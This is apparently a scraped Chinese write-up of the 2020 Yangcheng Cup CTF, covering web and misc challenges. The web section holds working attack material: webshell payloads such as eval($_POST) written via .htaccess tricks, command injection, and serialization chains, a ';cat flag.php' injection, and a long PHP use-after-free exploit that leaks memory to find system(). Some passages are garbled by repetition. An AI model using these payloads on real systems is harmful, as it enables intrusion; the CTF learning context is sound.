2020羊城杯CTF随缘Writeup
2020羊城杯CTF隨緣Writeup
docker源碼鏈接:
https://github.com/k3vin-3/YCBCTF2020
Web部分
a_piece_of_java
考點(diǎn):源碼審計(jì)、java反序列化
PS:這道題沒整明白,直接給出官方WP
第一步,serialkiller 白名單過濾,構(gòu)造動(dòng)態(tài)代理觸發(fā) JDBC 連接:
第二步 JDBC 反序列化攻擊 apache-commons-collections,可以參考:
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload,反序列化鏈構(gòu)造可以用ysoserial,也可以自己寫。 至于給的 pom.xml 有什么用,除了提示 JDBC 反序列化,其次就是說明引進(jìn)了 commons-collections 依賴,在 maven 倉庫中查詢 serialkiller,就會發(fā)現(xiàn)它引進(jìn)了 commons-collections。
拿到flag:GWHT{5e97245bd9c98aad7040d461538e9231}
PS:看了這官方WP,還是沒明白。。。
easycon
考點(diǎn):一句話木馬使用、base64轉(zhuǎn)圖片
訪問index.php直接提示"eval post cmd"
題目提示eavl post cmd,很明顯是一句話木馬,蟻劍連接,發(fā)現(xiàn)有個(gè)文件,里面一長串base64, 少了個(gè)頭部分,添加以后base64轉(zhuǎn)圖片得到flag
或者POST傳參cmd=system(“l(fā)s -al”);發(fā)現(xiàn)當(dāng)前目錄下有文件bbbbbbbbb.txt:
回到頁面訪問,得到一串base64圖片后綴字符串,加上base64頭data:image/png;base64,,在URL訪問得到圖片中顯示的flag
拿到flag:GWHT{do__u__kn0w__c@idao}
BlackCat
考點(diǎn):代碼審計(jì)、加密解密
訪問題目地址
下載音頻,用文本打開,文件尾有代碼
可以看出大概是將密鑰再加密后用來加密輸入的命令,進(jìn)行強(qiáng)等判斷,如何繞過關(guān)鍵點(diǎn)就是讓環(huán)境變量clandestine被加密后可控,這里用了密鑰傳入數(shù)組的方法,加密后′′使clandestine被加密后可控,這里用了密鑰傳入數(shù)組的方法,加密后''使clandestine被加密后可控,這里用了密鑰傳入數(shù)組的方法,加密后′′使clandestine為一個(gè)定值,hash_hmac()函數(shù)第二個(gè)參數(shù)為數(shù)組的時(shí)候,返回結(jié)果為NULL。則clandestine可控,clandestine可控,clandestine可控,hh就可以 知道,判斷即可繞過。。。
White-cat-monitor[]=1&One-ear=;cat flag.php&Black-CatSheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
拿到flag:GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}
easyphp
考點(diǎn):命令執(zhí)行、繞過字符限制
訪問題目地址
方法一:構(gòu)造payload,結(jié)尾要用\處理content中的 \n,不然違背 .htaccess書寫格式會導(dǎo)致 Apache 運(yùn)行崩潰
沒有preg_match的waf后就可以通過php://filter偽協(xié)議寫入一句話
?filename=php://filter/write=convert.base64- decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();方法二:利用\直接繞過字符限制,讀取flag
?filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\
連蟻劍
拿到flag:GWHT{easyApache}
easyphp2
考點(diǎn):文件包含、php偽協(xié)議
與easyphp類似
訪問題目地址
題目地址亮了!!!!
一看就是文件包含,想讀源碼發(fā)現(xiàn)偽協(xié)議里面的base64和rot13都被ban了,查了一下官方手冊找到一個(gè)可以用的轉(zhuǎn)換器或者看看有無robots.txt
還是個(gè)這???
利用
http://your ip:port/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php php://filter/read=convert.quoted-printable-encode/resource讀到的源碼
<?phpini_set('max_execution_time', 5);if ($_COOKIE['pass'] !== getenv('PASS')) {setcookie('pass', 'PASS');die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?><h1>A Counter is here, but it has someting wrong</h1><form><input type="""hidden" value="GWHT.php" name="file"><textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br /><input type="""submit"></form><?phpif (isset($_GET["count"])) {$count = $_GET["count"];if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){die('hacker!');}echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";}?></body></html>check.php
<?php $pass = "GWHT"; // Cookie password. echo "Here is nothing, isn't it ?";header('Location: /');讀到Cookie是GWHT,接下來就是命令執(zhí)行exec(‘printf ‘’ . $count . ‘’ | wc -c’),exec命令無回顯,可以直接寫入shell
echo "<?=eval(\$_POST['shell'])?>" > shell.php ||'拿到flag:GWHT{Y0U_H4VE_A_BETTER_SK1LL}
break the wall
考點(diǎn):觸發(fā) UAF
報(bào)告者給出的最簡觸發(fā)腳本:
執(zhí)行之后會發(fā)現(xiàn)輸出是一個(gè)奇怪的東西:
string(8) "在 new Test 之前先輸出一遍,看看原本正常的值:
string(8) "stdClass"調(diào)試一下查看內(nèi)存,可以看到原本的內(nèi)存是這樣的:
0x7ffff3e01988: 0x0000000600000002 0x0000000000000000 0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473 0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50 0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008 0x7ffff3e019c8: 0x706d75645f726176 0x0000000000000000 0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6ce6a006代表這是一個(gè)字符串,引用計(jì)數(shù)為 2,長度為 8,值為 stdClass。 之后的則是這樣的:
0x7ffff3e01988: 0x00007ffff3e019d8 0x0000000000000000 0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473 0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50 0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008 0x7ffff3e019c8: 0x706d75645f726176 0x0000000000000000 0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6f29b026掏出exp
<?php global $abc, $helper; class Test { public HelperHelperHelperHelperHelperHelperHelper $prop; } class HelperHelperHelperHelperHelperHelperHelper { public $a, $b; } function s2n($str) { $address = 0; for ($i=0;$i<4;$i++){ $address <<= 8; $address |= ord($str[4 + $i]); } return $address; } function s2b($str, $offset){ return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0", STR_PAD_LEFT)); } function leak($offset) { global $abc; $data = ""; for ($i = 0;$i < 8;$i++){ $data .= $abc[$offset + 7 - $i]; } return $data; } function leak2($address) { global $helper; write(0x20, $address); $leak = strlen($helper -> b); $leak = dechex($leak); $leak = str_pad($leak, 16, "0", STR_PAD_LEFT); $leak = hex2bin($leak); return $leak; } function write($offset, $data) { global $abc; $data = str_pad($data, 8, "\x00", STR_PAD_LEFT); for ($i = 0;$i < 8;$i++){ $abc[$offset + $i] = $data[7 - $i]; } } function get_basic_funcs($std_object_handlers) { $prefix = substr($std_object_handlers, 0, 4); $std_object_handlers = hexdec(bin2hex($std_object_handlers)); $start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change 0x920 if finding failed $NumPrefix = $std_object_handlers & 0x0000ffffff000000; $NumPrefix = $NumPrefix - 0x0000000001000000; $funcs = get_defined_functions()['internal']; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8, "0", STR_PAD_LEFT)))); if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix) { continue; } $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT); $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00))); $name = explode("\x00", $name)[0]; if(in_array($name, $funcs)) { return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT), $std_object_handlers, $NumPrefix]; } } } function getSystem($unknown_func) { $unknown_addr = hex2bin($unknown_func[1]); $prefix = substr($unknown_addr, 0, 4); $unknown_addr = hexdec($unknown_func[1]); $start = $unknown_addr & 0x00000000ffffffff; for($i = 0;$i < 0x800;$i++) { $addr = $start - 0x20 * $i; $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8, "0", STR_PAD_LEFT)))); if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) < $unknown_func[3]) { continue; } $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT); $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00))); if(strstr($name, "system")) { return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8, "0", STR_PAD_LEFT)))); } } for($i = 0;$i < 0x800;$i++) { $addr = $start + 0x20 * $i; $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8, "0", STR_PAD_LEFT)))); if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) < $unknown_func[3]) { continue; } $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT); $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00))); if(strstr($name, "system")) { return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8, "0", STR_PAD_LEFT)))); } } } $rp = new ReflectionProperty(Test::class, 'prop'); $test = new Test; $test -> prop = new HelperHelperHelperHelperHelperHelperHelper; $abc = $rp -> getType() -> getName(); $helper = new HelperHelperHelperHelperHelperHelperHelper(); if (strlen($abc) < 1000) { exit("UAF Failed!"); } $helper -> a = $helper; $php_heap = leak(0x10); $helper -> a = function($x){}; $std_object_handlers = leak(0x0); $prefix = substr($php_heap, 0, 4); echo "Helper Object Address: " . bin2hex($php_heap) . "\n"; echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\n"; $closure_object = leak(0x10);拿到flag:GWHT{478958c82caca09061066f392386a0ea}
easyser
考點(diǎn):代碼審計(jì)、SSRF本地文件讀取、反序列化
看一下有莫有robots.txt
訪問star1.php
盲猜是SSRF本地文件讀取,還有可能用到反序列化寫入webshell,繞過死亡繞過,查看源碼,發(fā)現(xiàn)ser.php
訪問ser.php,源碼如下:
POP鏈構(gòu)造+繞過exit
<?php class GWHT{public $hero; }class Yongen{ //flag.phppublic $file = "php://filter/convert.base64-decode/resource=shell.php";public $text = "aaaPD9waHAgZXZhbCgkX1BPU1Rbc10pOyAgPz4="; }$a = new GWHT; $a->hero = new Yongen; echo urlencode(serialize($a));拿到flag:GWHT{it’s_s0000_eaaaaasy_ser}
Misc
逃離東南亞
考點(diǎn):lsb隱寫、base64
打開是三個(gè)壓縮包,第一個(gè)為破損的壓縮包,用010editor打開,修改文件頭為圖下
然后日記中,只給了張圖,那么往圖片隱寫方面考慮,打開茄子哥那張 圖,修改高度為300
根據(jù)日記中的描述,先看test 一長串奇怪的字符串,如果扔到谷歌搜索一下,你就會發(fā)現(xiàn)是brainfuck,然后就可以扔到在線網(wǎng)站解密:
直接解是不出有效結(jié)果的,需要通過觀察在前面加一串+++++++才行
看特征可以發(fā)現(xiàn)是一串base64 再扔去在線網(wǎng)站解:https://www.qqxiuzi.cn/bianma/base64.htm
從這文件頭上來看,這很可能是一個(gè)elf文件 進(jìn)入Linux,使用base64命令,將解碼結(jié)果通過標(biāo)準(zhǔn)輸出重定向?qū)С鲆粋€(gè)elf 運(yùn)行之:
提示 mp3可能有l(wèi)sb隱寫術(shù)??
解wav的lsb隱寫,使用silenteye工具
解出來發(fā)現(xiàn)下一個(gè)日記的壓縮包密碼是:This1sThe3rdZIPpwd
按照日記的提示,flag信息應(yīng)該是被最后隱藏在代碼中的,但這個(gè) sourc_code文件足足有50多m,一個(gè)個(gè)看顯然不現(xiàn)實(shí) 這里可以通過篩選修改日期或者直接寫規(guī)則掃描的腳本,定位到三個(gè)源代碼文件: elf/rtld.c、malloc/malloc.c、malloc/arena.c 可以發(fā)現(xiàn),這三個(gè)源代碼是看不出東西來的
除非你剛剛好用了sublime來看代碼(或者其他能明顯標(biāo)記出空格和\t 的IDE),并且剛剛好又全選了所 有代碼,你會發(fā)現(xiàn),這三個(gè)文件都有 這樣的特點(diǎn):
在}的后面,都跟了這樣的一串東西,是不是很像摩斯碼,但其實(shí)不是摩斯密碼,是空格和\t組成的字符 串,而且}后面每次都是跟8個(gè)字符 這樣就不難想到了,這是一個(gè)二進(jìn)制表達(dá)方式,\t代表1,空格代表0 然后寫個(gè)python腳本,逐個(gè)掃一遍 elf/rtld.c、malloc/malloc.c、malloc/arena.c
可以看到這樣就出flag
拿到flag:GWCTF{code_steganography_is_funny!}
未完待續(xù)。。。
總結(jié)
以上是生活随笔為你收集整理的2020羊城杯CTF随缘Writeup的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 计算机大机实验报告,大学计算机一实验报告
- 下一篇: 单片机:DAC数模转换实验(内含DAC介